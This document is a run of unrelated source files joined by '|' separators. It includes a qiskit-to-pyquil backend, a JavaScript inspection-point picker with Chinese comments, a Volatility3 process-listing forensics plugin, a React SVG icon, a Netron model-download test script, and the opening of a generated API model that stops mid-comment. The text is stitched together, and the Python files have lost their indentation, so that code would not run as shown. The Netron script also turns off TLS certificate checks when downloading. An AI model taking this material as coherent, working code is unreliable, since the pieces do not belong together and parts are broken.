/** @constructor */
SDK.Script = Script;
SDK.Script.sourceURLRegex = sourceURLRegex;
|
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from pyquil import api
from qiskit import converters
from qiskit import providers
from qiskit.providers import models
from qiskit_mori import circuit_to_program as cp
def create_backend(device_name, provider):
try:
dev = api.get_qc(device_name)
except Exception:
return None
n_qubits = int(len(dev.qubits()))
basis_gates = ''
gates = [models.GateConfig()]
if isinstance(dev.qam, api.QPU):
simulator = False
else:
simulator = True
max_shots = 1024
conf = models.BackendConfiguration(
device_name, '0.0.1', n_qubits, basis_gates, gates, False, simulator,
False, False, False, max_shots)
return MoriBackend(conf, provider, dev)
class MoriBackend(providers.BaseBackend):
def __init__(self, configuration, provider, qc):
super(MoriBackend, self).__init__(provider=provider,
configuration=configuration)
self.pyquil_qc = qc
def run(self, qobj):
circ = converters.qobj_to_circuits(qobj)
prog = cp.circuit_to_program(circ)
executable = self.pyquil_qc.compile(prog, False, False)
return self.pyquil_qc.run(executable)
|
(function (vc) {
var DEFAULT_ROWS = 10;
vc.extends({
propTypes: {
emitListener: vc.propTypes.string,
emitFunction: vc.propTypes.string
},
data: {
chooseInspectionRoutePointInfo: {
points: [],
inspectionName: '',
inspectionRouteId: '',
routeName: '',
selectPoints: []
}
},
watch: { // 监视双向绑定的数据数组
checkData: {
handler() { // 数据数组有变化将触发此函数
if ($that.chooseInspectionRoutePointInfo.selectPoints.length == $that.chooseInspectionRoutePointInfo.points.length) {
document.querySelector('#quan').checked = true;
} else {
document.querySelector('#quan').checked = false;
}
},
deep: true // 深度监视
}
},
_initMethod: function () {
},
_initEvent: function () {
vc.on('chooseInspectionRoutePoint', 'openchooseInspectionRoutePointModal', function (_param) {
$that._refreshChooseInspectionRoutePointInfo();
$('#chooseInspectionRoutePointModel').modal('show');
vc.copyObject(_param, $that.chooseInspectionRoutePointInfo);
$that._loadAllPointsInfo(1, 10, '');
});
vc.on('chooseInspectionRoutePoint', 'paginationPlus', 'page_event', function (_currentPage) {
$that._loadAllPointsInfo(_currentPage, DEFAULT_ROWS);
});
},
methods: {
_loadAllPointsInfo: function (_page, _row, _name) {
var param = {
params: {
page: _page,
row: _row,
inspectionName: _name,
relationship: '0',
inspectionRouteId: $that.chooseInspectionRoutePointInfo.inspectionRouteId,
communityId: vc.getCurrentCommunity().communityId
}
};
//发送get请求
vc.http.apiGet('inspectionPoint.listInspectionPoints',
param,
function (json) {
var _pointInfo = JSON.parse(json);
$that.chooseInspectionRoutePointInfo.points = _pointInfo.inspectionPoints;
vc.emit('chooseInspectionRoutePoint', 'paginationPlus', 'init', {
total: _pointInfo.records,
currentPage: _page
});
}, function () {
console.log('请求失败处理');
}
);
},
_chooseInspectionRoutePoint: function (_org) {
var _selectPoints = $that.chooseInspectionRoutePointInfo.selectPoints;
var _tmpPoints = $that.chooseInspectionRoutePointInfo.points;
if (_selectPoints.length < 1) {
vc.toast("请选择巡检点");
return;
}
var _points = [];
for (var _selectIndex = 0; _selectIndex < _selectPoints.length; _selectIndex++) {
for (var _pointIndex = 0; _pointIndex < _tmpPoints.length; _pointIndex++) {
if (_selectPoints[_selectIndex] == _tmpPoints[_pointIndex].inspectionId) {
_points.push({
inspectionId: _tmpPoints[_pointIndex].inspectionId,
inspectionName: _tmpPoints[_pointIndex].inspectionName
});
}
}
}
var _objData = {
communityId: vc.getCurrentCommunity().communityId,
inspectionRouteId: $that.chooseInspectionRoutePointInfo.inspectionRouteId,
points: _points
}
vc.http.apiPost('inspectionRoute.saveInspectionRoutePoint',
JSON.stringify(_objData),
{
emulateJSON: true
},
function (json, res) {
$('#chooseInspectionRoutePointModel').modal('hide');
if (res.status == 200) {
vc.emit($props.emitListener, $props.emitFunction, {
inspectionRouteId: $that.chooseInspectionRoutePointInfo.inspectionRouteId
});
return;
}
vc.toast(json);
}, function () {
console.log('请求失败处理');
}
);
$('#chooseInspectionRoutePointModel').modal('hide');
},
//查询
queryPoints: function () {
$that._loadAllPointsInfo(1, 10, $that.chooseInspectionRoutePointInfo.inspectionName);
},
//重置
resetPoints: function () {
$that.chooseInspectionRoutePointInfo.inspectionName = "";
$that._loadAllPointsInfo(1, 10, $that.chooseInspectionRoutePointInfo.inspectionName);
},
_refreshChooseInspectionRoutePointInfo: function () {
$that.chooseInspectionRoutePointInfo = {
points: [],
inspectionName: '',
inspectionRouteId: '',
routeName: '',
selectPoints: []
};
},
checkAll: function (e) {
var checkObj = document.querySelectorAll('.checkItem'); // 获取所有checkbox项
if (e.target.checked) { // 判定全选checkbox的勾选状态
for (var i = 0; i < checkObj.length; i++) {
if (!checkObj[i].checked) { // 将未勾选的checkbox选项push到绑定数组中
$that.chooseInspectionRoutePointInfo.selectPoints.push(checkObj[i].value);
}
}
} else { // 如果是去掉全选则清空checkbox选项绑定数组
$that.chooseInspectionRoutePointInfo.selectPoints = [];
}
}
}
});
})(window.vc);
|
# This file is Copyright 2019 Volatility Foundation and licensed under the Volatility Software License 1.0
# which is available at https://www.volatilityfoundation.org/license/vsl-v1.0
#
import datetime
import logging
from typing import Callable, Iterable, List, Type
from volatility3.framework import renderers, interfaces, layers, exceptions, constants
from volatility3.framework.configuration import requirements
from volatility3.framework.objects import utility
from volatility3.framework.renderers import format_hints
from volatility3.framework.symbols import intermed
from volatility3.framework.symbols.windows.extensions import pe
from volatility3.plugins import timeliner
vollog = logging.getLogger(__name__)
class PsList(interfaces.plugins.PluginInterface, timeliner.TimeLinerInterface):
"""Lists the processes present in a particular windows memory image."""
_required_framework_version = (1, 2, 0)
_version = (2, 0, 0)
PHYSICAL_DEFAULT = False
@classmethod
def get_requirements(cls):
return [
requirements.ModuleRequirement(name = 'kernel', description = 'Windows kernel'),
requirements.BooleanRequirement(name = 'physical',
description = 'Display physical offsets instead of virtual',
default = cls.PHYSICAL_DEFAULT,
optional = True),
requirements.ListRequirement(name = 'pid',
element_type = int,
description = "Process ID to include (all other processes are excluded)",
optional = True),
requirements.BooleanRequirement(name = 'dump',
description = "Extract listed processes",
default = False,
optional = True)
]
@classmethod
def process_dump(
cls, context: interfaces.context.ContextInterface, kernel_table_name: str, pe_table_name: str,
proc: interfaces.objects.ObjectInterface,
open_method: Type[interfaces.plugins.FileHandlerInterface]) -> interfaces.plugins.FileHandlerInterface:
"""Extracts the complete data for a process as a FileHandlerInterface
Args:
context: the context to operate upon
kernel_table_name: the name for the symbol table containing the kernel's symbols
pe_table_name: the name for the symbol table containing the PE format symbols
proc: the process object whose memory should be output
open_method: class to provide context manager for opening the file
Returns:
An open FileHandlerInterface object containing the complete data for the process or None in the case of failure
"""
file_handle = None
try:
proc_layer_name = proc.add_process_layer()
peb = context.object(kernel_table_name + constants.BANG + "_PEB",
layer_name = proc_layer_name,
offset = proc.Peb)
dos_header = context.object(pe_table_name + constants.BANG + "_IMAGE_DOS_HEADER",
offset = peb.ImageBaseAddress,
layer_name = proc_layer_name)
file_handle = open_method(f"pid.{proc.UniqueProcessId}.{peb.ImageBaseAddress:#x}.dmp")
for offset, data in dos_header.reconstruct():
file_handle.seek(offset)
file_handle.write(data)
except Exception as excp:
vollog.debug(f"Unable to dump PE with pid {proc.UniqueProcessId}: {excp}")
return file_handle
@classmethod
def create_pid_filter(cls, pid_list: List[int] = None, exclude: bool = False) -> Callable[[interfaces.objects.ObjectInterface], bool]:
"""A factory for producing filter functions that filter based on a list
of process IDs.
Args:
pid_list: A list of process IDs that are acceptable, all other processes will be filtered out
exclude: Accept only tasks that are not in pid_list
Returns:
Filter function for passing to the `list_processes` method
"""
filter_func = lambda _: False
# FIXME: mypy #4973 or #2608
pid_list = pid_list or []
filter_list = [x for x in pid_list if x is not None]
if filter_list:
if exclude:
filter_func = lambda x: x.UniqueProcessId in filter_list
else:
filter_func = lambda x: x.UniqueProcessId not in filter_list
return filter_func
@classmethod
def create_name_filter(cls, name_list: List[str] = None, exclude: bool = False) -> Callable[[interfaces.objects.ObjectInterface], bool]:
"""A factory for producing filter functions that filter based on a list
of process names.
Args:
name_list: A list of process names that are acceptable, all other processes will be filtered out
exclude: Accept only tasks that are not in name_list
Returns:
Filter function for passing to the `list_processes` method
"""
filter_func = lambda _: False
# FIXME: mypy #4973 or #2608
name_list = name_list or []
filter_list = [x for x in name_list if x is not None]
if filter_list:
if exclude:
filter_func = lambda x: utility.array_to_string(x.ImageFileName) in filter_list
else:
filter_func = lambda x: utility.array_to_string(x.ImageFileName) not in filter_list
return filter_func
@classmethod
def list_processes(cls,
context: interfaces.context.ContextInterface,
layer_name: str,
symbol_table: str,
filter_func: Callable[[interfaces.objects.ObjectInterface], bool] = lambda _: False) -> \
Iterable[interfaces.objects.ObjectInterface]:
"""Lists all the processes in the primary layer that are in the pid
config option.
Args:
context: The context to retrieve required elements (layers, symbol tables) from
layer_name: The name of the layer on which to operate
symbol_table: The name of the table containing the kernel symbols
filter_func: A function which takes an EPROCESS object and returns True if the process should be ignored/filtered
Returns:
The list of EPROCESS objects from the `layer_name` layer's PsActiveProcessHead list after filtering
"""
# We only use the object factory to demonstrate how to use one
kvo = context.layers[layer_name].config['kernel_virtual_offset']
ntkrnlmp = context.module(symbol_table, layer_name = layer_name, offset = kvo)
ps_aph_offset = ntkrnlmp.get_symbol("PsActiveProcessHead").address
list_entry = ntkrnlmp.object(object_type = "_LIST_ENTRY", offset = ps_aph_offset)
# This is example code to demonstrate how to use symbol_space directly, rather than through a module:
#
# ```
# reloff = self.context.symbol_space.get_type(
# self.config['nt_symbols'] + constants.BANG + "_EPROCESS").relative_child_offset(
# "ActiveProcessLinks")
# ```
#
# Note: "nt_symbols!_EPROCESS" could have been used, but would rely on the "nt_symbols" symbol table not already
# having been present. Strictly, the value of the requirement should be joined with the BANG character
# defined in the constants file
reloff = ntkrnlmp.get_type("_EPROCESS").relative_child_offset("ActiveProcessLinks")
eproc = ntkrnlmp.object(object_type = "_EPROCESS", offset = list_entry.vol.offset - reloff, absolute = True)
for proc in eproc.ActiveProcessLinks:
if not filter_func(proc):
yield proc
def _generator(self):
pe_table_name = intermed.IntermediateSymbolTable.create(self.context,
self.config_path,
"windows",
"pe",
class_types = pe.class_types)
memory = self.context.layers[self.config['kernel.layer_name']]
if not isinstance(memory, layers.intel.Intel):
raise TypeError("Primary layer is not an intel layer")
for proc in self.list_processes(self.context,
self.config['kernel.layer_name'],
self.config['kernel.symbol_table_name'],
filter_func = self.create_pid_filter(self.config.get('pid', None))):
if not self.config.get('physical', self.PHYSICAL_DEFAULT):
offset = proc.vol.offset
else:
(_, _, offset, _, _) = list(memory.mapping(offset = proc.vol.offset, length = 0))[0]
file_output = "Disabled"
try:
if self.config['dump']:
file_handle = self.process_dump(self.context, self.config['kernel.symbol_table_name'],
pe_table_name, proc, self.open)
file_output = "Error outputting file"
if file_handle:
file_handle.close()
file_output = str(file_handle.preferred_filename)
yield (0, (proc.UniqueProcessId, proc.InheritedFromUniqueProcessId,
proc.ImageFileName.cast("string", max_length = proc.ImageFileName.vol.count, errors = 'replace'),
format_hints.Hex(offset), proc.ActiveThreads, proc.get_handle_count(), proc.get_session_id(),
proc.get_is_wow64(), proc.get_create_time(), proc.get_exit_time(), file_output))
except exceptions.InvalidAddressException:
vollog.info(f"Invalid process found at address: {proc.vol.offset:x}. Skipping")
def generate_timeline(self):
for row in self._generator():
_depth, row_data = row
description = f"Process: {row_data[0]} {row_data[2]} ({row_data[3]})"
yield (description, timeliner.TimeLinerType.CREATED, row_data[8])
yield (description, timeliner.TimeLinerType.MODIFIED, row_data[9])
def run(self):
offsettype = "(V)" if not self.config.get('physical', self.PHYSICAL_DEFAULT) else "(P)"
return renderers.TreeGrid([("PID", int), ("PPID", int), ("ImageFileName", str),
(f"Offset{offsettype}", format_hints.Hex), ("Threads", int),
("Handles", int), ("SessionId", int), ("Wow64", bool),
("CreateTime", datetime.datetime), ("ExitTime", datetime.datetime),
("File output", str)], self._generator())
|
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _react = require('react');
var _react2 = _interopRequireDefault(_react);
var _SvgContainer = require('./SvgContainer');
var _SvgContainer2 = _interopRequireDefault(_SvgContainer);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var Trophy = function Trophy(_ref) {
var _ref$height = _ref.height,
height = _ref$height === undefined ? 22 : _ref$height,
_ref$width = _ref.width,
width = _ref$width === undefined ? 22 : _ref$width,
_ref$style = _ref.style,
style = _ref$style === undefined ? {} : _ref$style,
_ref$color = _ref.color,
color = _ref$color === undefined ? '#000' : _ref$color,
_ref$cssClasses = _ref.cssClasses,
cssClasses = _ref$cssClasses === undefined ? '' : _ref$cssClasses,
_ref$className = _ref.className,
className = _ref$className === undefined ? '' : _ref$className,
_ref$onClick = _ref.onClick,
onClick = _ref$onClick === undefined ? function () {
return null;
} : _ref$onClick;
return _react2.default.createElement(
_SvgContainer2.default,
{
height: height,
width: width,
color: color,
onClick: onClick,
className: className
},
_react2.default.createElement(
'svg',
{ style: style, className: cssClasses, xmlns: 'http://www.w3.org/2000/svg', viewBox: '0 0 512 512' },
_react2.default.createElement(
'title',
null,
'Trophy'
),
_react2.default.createElement('path', { d: 'M464 80h-60.1a4 4 0 01-4-4V63.92a32 32 0 00-32-31.92l-223.79.26a32 32 0 00-31.94 31.93V76a4 4 0 01-4 4H48a16 16 0 00-16 16v16c0 54.53 30 112.45 76.52 125.35a7.82 7.82 0 015.55 5.9c5.77 26.89 23.52 52.5 51.41 73.61 20.91 15.83 45.85 27.5 68.27 32.48a8 8 0 016.25 7.8V444a4 4 0 01-4 4h-59.55c-8.61 0-16 6.62-16.43 15.23A16 16 0 00176 480h159.55c8.61 0 16-6.62 16.43-15.23A16 16 0 00336 448h-60a4 4 0 01-4-4v-86.86a8 8 0 016.25-7.8c22.42-5 47.36-16.65 68.27-32.48 27.89-21.11 45.64-46.72 51.41-73.61a7.82 7.82 0 015.55-5.9C450 224.45 480 166.53 480 112V96a16 16 0 00-16-16zM112 198.22a4 4 0 01-6 3.45c-10.26-6.11-17.75-15.37-22.14-21.89-11.91-17.69-19-40.67-19.79-63.63a4 4 0 014-4.15h40a4 4 0 014 4c-.02 27.45-.07 58.87-.07 82.22zm316.13-18.44c-4.39 6.52-11.87 15.78-22.13 21.89a4 4 0 01-6-3.46c0-26.51 0-56.63-.05-82.21a4 4 0 014-4h40a4 4 0 014 4.15c-.79 22.96-7.9 45.94-19.81 63.63z' })
)
);
};
exports.default = Trophy;
module.exports = exports['default'];
//# sourceMappingURL=Trophy.js.map
|
#!/usr/bin/env node
/* jshint esversion: 6 */
/* eslint "no-console": off */
const fs = require('fs');
const path = require('path');
const process = require('process');
const http = require('http');
const https = require('https');
const util = require('util');
const xmldom = require('@xmldom/xmldom');
const json = require('../source/json');
const protobuf = require('../source/protobuf');
const flatbuffers = require('../source/flatbuffers');
const sidebar = require('../source/view-sidebar.js');
const view = require('../source/view.js');
const zip = require('../source/zip');
const gzip = require('../source/gzip');
const tar = require('../source/tar');
const base = require('../source/base');
global.Int64 = base.Int64;
global.Uint64 = base.Uint64;
global.json = json;
global.protobuf = protobuf;
global.flatbuffers = flatbuffers;
global.DOMParser = xmldom.DOMParser;
global.TextDecoder = class {
constructor(encoding) {
if (encoding !== 'ascii') {
this._decoder = new util.TextDecoder(encoding);
}
}
decode(data) {
if (this._decoder) {
return this._decoder.decode(data);
}
if (data.length < 32) {
return String.fromCharCode.apply(null, data);
}
const buffer = [];
let start = 0;
do {
let end = start + 32;
if (end > data.length) {
end = data.length;
}
buffer.push(String.fromCharCode.apply(null, data.subarray(start, end)));
start = end;
}
while (start < data.length);
return buffer.join('');
}
};
const filter = process.argv.length > 2 ? new RegExp('^' + process.argv[2].replace(/\./, '\\.').replace(/\*/, '.*')) : null;
const dataFolder = path.normalize(__dirname + '/../third_party/test');
const items = JSON.parse(fs.readFileSync(__dirname + '/models.json', 'utf-8'));
class TestHost {
constructor() {
this._document = new HTMLDocument();
}
get document() {
return this._document;
}
initialize(/* view */) {
return Promise.resolve();
}
start() {
}
environment(name) {
if (name == 'zoom') {
return 'none';
}
return null;
}
screen(/* name */) {
}
require(id) {
try {
const file = path.join(path.join(__dirname, '../source'), id + '.js');
return Promise.resolve(require(file));
}
catch (error) {
return Promise.reject(error);
}
}
request(file, encoding, base) {
const pathname = path.join(base || path.join(__dirname, '../source'), file);
if (!fs.existsSync(pathname)) {
return Promise.reject(new Error("The file '" + file + "' does not exist."));
}
if (encoding) {
const text = fs.readFileSync(pathname, encoding);
return Promise.resolve(text);
}
const buffer = fs.readFileSync(pathname, null);
const stream = new TestBinaryStream(buffer);
return Promise.resolve(stream);
}
event(/* category, action, label, value */) {
}
exception(err /*, fatal */) {
this._raise('exception', { exception: err });
}
on(event, callback) {
this._events = this._events || {};
this._events[event] = this._events[event] || [];
this._events[event].push(callback);
}
_raise(event, data) {
if (this._events && this._events[event]) {
for (const callback of this._events[event]) {
callback(this, data);
}
}
}
}
class TestBinaryStream {
constructor(buffer) {
this._buffer = buffer;
this._length = buffer.length;
this._position = 0;
}
get position() {
return this._position;
}
get length() {
return this._length;
}
stream(length) {
const buffer = this.read(length);
return new TestBinaryStream(buffer.slice(0));
}
seek(position) {
this._position = position >= 0 ? position : this._length + position;
if (this._position > this._buffer.length) {
throw new Error('Expected ' + (this._position - this._buffer.length) + ' more bytes. The file might be corrupted. Unexpected end of file.');
}
}
skip(offset) {
this._position += offset;
if (this._position > this._buffer.length) {
throw new Error('Expected ' + (this._position - this._buffer.length) + ' more bytes. The file might be corrupted. Unexpected end of file.');
}
}
peek(length) {
if (this._position === 0 && length === undefined) {
return this._buffer;
}
const position = this._position;
this.skip(length !== undefined ? length : this._length - this._position);
const end = this._position;
this.seek(position);
return this._buffer.subarray(position, end);
}
read(length) {
if (this._position === 0 && length === undefined) {
this._position = this._length;
return this._buffer;
}
const position = this._position;
this.skip(length !== undefined ? length : this._length - this._position);
return this._buffer.subarray(position, this._position);
}
byte() {
const position = this._position;
this.skip(1);
return this._buffer[position];
}
}
class TestContext {
constructor(host, folder, identifier, stream, entries) {
this._host = host;
this._folder = folder;
this._identifier = identifier;
this._stream = stream;
this._entries = entries;
}
get identifier() {
return this._identifier;
}
get stream() {
return this._stream;
}
get entries() {
return this._entries;
}
request(file, encoding, base) {
return this._host.request(file, encoding, base === undefined ? this._folder : base);
}
require(id) {
return this._host.require(id);
}
exception(error, fatal) {
this._host.exception(error, fatal);
}
}
class HTMLDocument {
constructor() {
this._elements = {};
this.documentElement = new HTMLHtmlElement();
this.body = new HTMLBodyElement();
}
createElement(/* name */) {
return new HTMLElement();
}
createElementNS(/* namespace, name */) {
return new HTMLElement();
}
createTextNode(/* text */) {
return new HTMLElement();
}
getElementById(id) {
let element = this._elements[id];
if (!element) {
element = new HTMLElement();
this._elements[id] = element;
}
return element;
}
addEventListener(/* event, callback */) {
}
removeEventListener(/* event, callback */) {
}
}
class HTMLElement {
constructor() {
this._childNodes = [];
this._attributes = new Map();
this._style = new CSSStyleDeclaration();
}
get style() {
return this._style;
}
appendChild(node) {
this._childNodes.push(node);
}
setAttribute(name, value) {
this._attributes.set(name, value);
}
hasAttribute(name) {
return this._attributes.has(name);
}
getAttribute(name) {
return this._attributes.get(name);
}
getBBox() {
return { x: 0, y: 0, width: 10, height: 10 };
}
getElementsByClassName(name) {
const elements = [];
for (const node of this._childNodes) {
if (node instanceof HTMLElement) {
elements.push(...node.getElementsByClassName(name));
if (node.hasAttribute('class') &&
node.getAttribute('class').split(' ').find((text) => text === name)) {
elements.push(node);
}
}
}
return elements;
}
addEventListener(/* event, callback */) {
}
removeEventListener(/* event, callback */) {
}
get classList() {
return new DOMTokenList(this);
}
}
class HTMLHtmlElement extends HTMLElement {
}
class HTMLBodyElement extends HTMLElement{
}
class CSSStyleDeclaration {
constructor() {
this._properties = new Map();
}
setProperty(name, value) {
this._properties.set(name, value);
}
}
class DOMTokenList {
add(/* token */) {
}
}
const makeDir = (dir) => {
if (!fs.existsSync(dir)){
fs.mkdirSync(dir, { recursive: true });
}
};
const clearLine = () => {
if (process.stdout.clearLine) {
process.stdout.clearLine();
}
};
const decompress = (buffer) => {
let archive = null;
if (buffer.length >= 18 && buffer[0] === 0x1f && buffer[1] === 0x8b) {
archive = gzip.Archive.open(buffer);
if (archive.entries.size == 1) {
const stream = archive.entries.values().next().value;
buffer = stream.peek();
}
}
const formats = [ zip, tar ];
for (const module of formats) {
archive = module.Archive.open(buffer);
if (archive) {
break;
}
}
return archive;
};
const request = (location, cookie) => {
const options = { rejectUnauthorized: false };
let httpRequest = null;
const url = new URL(location);
const protocol = url.protocol;
switch (protocol) {
case 'http:':
httpRequest = http.request(location, options);
break;
case 'https:':
httpRequest = https.request(location, options);
break;
}
return new Promise((resolve, reject) => {
if (!httpRequest) {
reject(new Error("Unknown HTTP request."));
}
if (cookie && cookie.length > 0) {
httpRequest.setHeader('Cookie', cookie);
}
httpRequest.on('response', (response) => {
resolve(response);
});
httpRequest.on('error', (error) => {
reject(error);
});
httpRequest.end();
});
};
const downloadFile = (location, cookie) => {
return request(location, cookie).then((response) => {
const url = new URL(location);
if (response.statusCode == 200 &&
url.hostname == 'drive.google.com' &&
response.headers['set-cookie'].some((cookie) => cookie.startsWith('download_warning_'))) {
cookie = response.headers['set-cookie'];
const download = cookie.filter((cookie) => cookie.startsWith('download_warning_')).shift();
const confirm = download.split(';').shift().split('=').pop();
location = location + '&confirm=' + confirm;
return downloadFile(location, cookie);
}
if (response.statusCode == 301 || response.statusCode == 302) {
if (response.headers.location.startsWith('http://') || response.headers.location.startsWith('https://')) {
location = response.headers.location;
}
else {
location = url.protocol + '//' + url.hostname + response.headers.location;
}
return downloadFile(location, cookie);
}
if (response.statusCode != 200) {
throw new Error(response.statusCode.toString() + ' ' + location);
}
return new Promise((resolve, reject) => {
let position = 0;
const data = [];
const length = response.headers['content-length'] ? Number(response.headers['content-length']) : -1;
response.on('data', (chunk) => {
position += chunk.length;
if (length >= 0) {
const label = location.length > 70 ? location.substring(0, 66) + '...' : location;
process.stdout.write(' (' + (' ' + Math.floor(100 * (position / length))).slice(-3) + '%) ' + label + '\r');
}
else {
process.stdout.write(' ' + position + ' bytes\r');
}
data.push(chunk);
});
response.on('end', () => {
resolve(Buffer.concat(data));
});
response.on('error', (error) => {
reject(error);
});
});
});
};
const download = (folder, targets, sources) => {
if (targets.every((file) => fs.existsSync(folder + '/' + file))) {
return Promise.resolve();
}
if (!sources) {
return Promise.reject(new Error('Download source not specified.'));
}
let source = '';
let sourceFiles = [];
const startIndex = sources.indexOf('[');
const endIndex = sources.indexOf(']');
if (startIndex != -1 && endIndex != -1 && endIndex > startIndex) {
sourceFiles = sources.substring(startIndex + 1, endIndex).split(',').map((sourceFile) => sourceFile.trim());
source = sources.substring(0, startIndex);
sources = sources.substring(endIndex + 1);
if (sources.startsWith(',')) {
sources = sources.substring(1);
}
}
else {
const commaIndex = sources.indexOf(',');
if (commaIndex != -1) {
source = sources.substring(0, commaIndex);
sources = sources.substring(commaIndex + 1);
}
else {
source = sources;
sources = '';
}
}
for (const target of targets) {
makeDir(path.dirname(folder + '/' + target));
}
return downloadFile(source).then((data) => {
if (sourceFiles.length > 0) {
clearLine();
process.stdout.write(' decompress...\r');
const archive = decompress(data, source.split('?').shift().split('/').pop());
clearLine();
for (const name of sourceFiles) {
process.stdout.write(' write ' + name + '\r');
if (name !== '.') {
const stream = archive.entries.get(name);
if (!stream) {
throw new Error("Entry not found '" + name + '. Archive contains entries: ' + JSON.stringify(archive.entries.map((entry) => entry.name)) + " .");
}
const target = targets.shift();
const buffer = stream.peek();
const file = path.join(folder, target);
fs.writeFileSync(file, buffer, null);
}
else {
const target = targets.shift();
const dir = path.join(folder, target);
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir);
}
}
clearLine();
}
}
else {
const target = targets.shift();
clearLine();
process.stdout.write(' write ' + target + '\r');
fs.writeFileSync(folder + '/' + target, data, null);
}
clearLine();
if (sources.length > 0) {
return download(folder, targets, sources);
}
return;
});
};
const loadModel = (target, item) => {
const host = new TestHost();
const exceptions = [];
host.on('exception', (_, data) => {
exceptions.push(data.exception);
});
const identifier = path.basename(target);
const stat = fs.statSync(target);
let context = null;
if (stat.isFile()) {
const buffer = fs.readFileSync(target, null);
const reader = new TestBinaryStream(buffer);
const dirname = path.dirname(target);
context = new TestContext(host, dirname, identifier, reader);
}
else if (stat.isDirectory()) {
const entries = new Map();
const walk = (dir) => {
for (const item of fs.readdirSync(dir)) {
const pathname = path.join(dir, item);
const stat = fs.statSync(pathname);
if (stat.isDirectory()) {
walk(pathname);
}
else if (stat.isFile()) {
const buffer = fs.readFileSync(pathname, null);
const stream = new TestBinaryStream(buffer);
const name = pathname.split(path.sep).join(path.posix.sep);
entries.set(name, stream);
}
}
};
walk(target);
context = new TestContext(host, target, identifier, null, entries);
}
const modelFactoryService = new view.ModelFactoryService(host);
let opened = false;
return modelFactoryService.open(context).then((model) => {
if (opened) {
throw new Error("Model opened more than once '" + target + "'.");
}
opened = true;
if (!model.format || (item.format && model.format != item.format)) {
throw new Error("Invalid model format '" + model.format + "'.");
}
if (item.producer && model.producer != item.producer) {
throw new Error("Invalid producer '" + model.producer + "'.");
}
if (item.runtime && model.runtime != item.runtime) {
throw new Error("Invalid runtime '" + model.runtime + "'.");
}
if (item.assert) {
for (const assert of item.assert) {
const parts = assert.split('=').map((item) => item.trim());
const properties = parts[0].split('.');
const value = parts[1];
let context = { model: model };
while (properties.length) {
const property = properties.shift();
if (context[property] !== undefined) {
context = context[property];
continue;
}
const match = /(.*)\[(.*)\]/.exec(property);
if (match.length === 3 && context[match[1]] !== undefined) {
const array = context[match[1]];
const index = parseInt(match[2], 10);
if (array[index] !== undefined) {
context = array[index];
continue;
}
}
throw new Error("Invalid property path: '" + parts[0]);
}
if (context !== value.toString()) {
throw new Error("Invalid '" + value.toString() + "' != '" + assert + "'.");
}
}
}
model.version;
model.description;
model.author;
model.license;
for (const graph of model.graphs) {
for (const input of graph.inputs) {
input.name.toString();
input.name.length;
for (const argument of input.arguments) {
argument.name.toString();
argument.name.length;
if (argument.type) {
argument.type.toString();
}
}
}
for (const output of graph.outputs) {
output.name.toString();
output.name.length;
for (const argument of output.arguments) {
argument.name.toString();
argument.name.length;
if (argument.type) {
argument.type.toString();
}
}
}
for (const node of graph.nodes) {
node.type.toString();
node.type.length;
if (!node.type || typeof node.type.name != 'string') {
throw new Error("Invalid node type '" + JSON.stringify(node.type) + "'.");
}
sidebar.DocumentationSidebar.formatDocumentation(node.type);
node.name.toString();
node.name.length;
node.description;
node.attributes.slice();
for (const attribute of node.attributes) {
attribute.name.toString();
attribute.name.length;
let value = sidebar.NodeSidebar.formatAttributeValue(attribute.value, attribute.type);
if (value && value.length > 1000) {
value = value.substring(0, 1000) + '...';
}
value = value.split('<');
}
for (const input of node.inputs) {
input.name.toString();
input.name.length;
for (const argument of input.arguments) {
argument.name.toString();
argument.name.length;
argument.description;
if (argument.type) {
argument.type.toString();
}
if (argument.initializer) {
argument.initializer.toString();
argument.initializer.type.toString();
}
}
}
for (const output of node.outputs) {
output.name.toString();
output.name.length;
for (const argument of output.arguments) {
argument.name.toString();
argument.name.length;
if (argument.type) {
argument.type.toString();
}
}
}
if (node.chain) {
for (const chain of node.chain) {
chain.name.toString();
chain.name.length;
}
}
// new sidebar.NodeSidebar(host, node);
}
}
if (exceptions.length > 0) {
throw exceptions[0];
}
return model;
});
};
const renderModel = (model, item) => {
if (item.actions.has('skip-render')) {
return Promise.resolve();
}
try {
const host = new TestHost();
const currentView = new view.View(host);
if (!currentView.showAttributes) {
currentView.toggleAttributes();
}
if (!currentView.showInitializers) {
currentView.toggleInitializers();
}
return currentView.renderGraph(model, model.graphs[0]);
}
catch (error) {
return Promise.reject(error);
}
};
const next = () => {
if (items.length == 0) {
return;
}
const item = items.shift();
if (!item.type) {
console.error("Property 'type' is required for item '" + JSON.stringify(item) + "'.");
return;
}
const targets = item.target.split(',');
const target = targets[0];
const folder = dataFolder + '/' + item.type;
const name = item.type + '/' + target;
if (filter && !filter.test(name)) {
next();
return;
}
process.stdout.write(item.type + '/' + target + '\n');
item.actions = new Set((item.action || '').split(';'));
if (item.actions.has('skip')) {
next();
return;
}
clearLine();
const sources = item.source;
return download(folder, targets, sources).then(() => {
return loadModel(folder + '/' + target, item).then((model) => {
return renderModel(model, item).then(() => {
if (item.error) {
console.error('Expected error.');
}
else {
return next();
}
});
});
}).catch((error) => {
if (!item.error || item.error != error.message) {
console.error(error.message);
}
else {
return next();
}
});
};
next();
|
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports["default"] = void 0;
var _ApiClient = _interopRequireDefault(require("../ApiClient"));
var _User = _interopRequireDefault(require("./User"));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }
function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }
/**
* The UserList model module.
* @module model/UserList
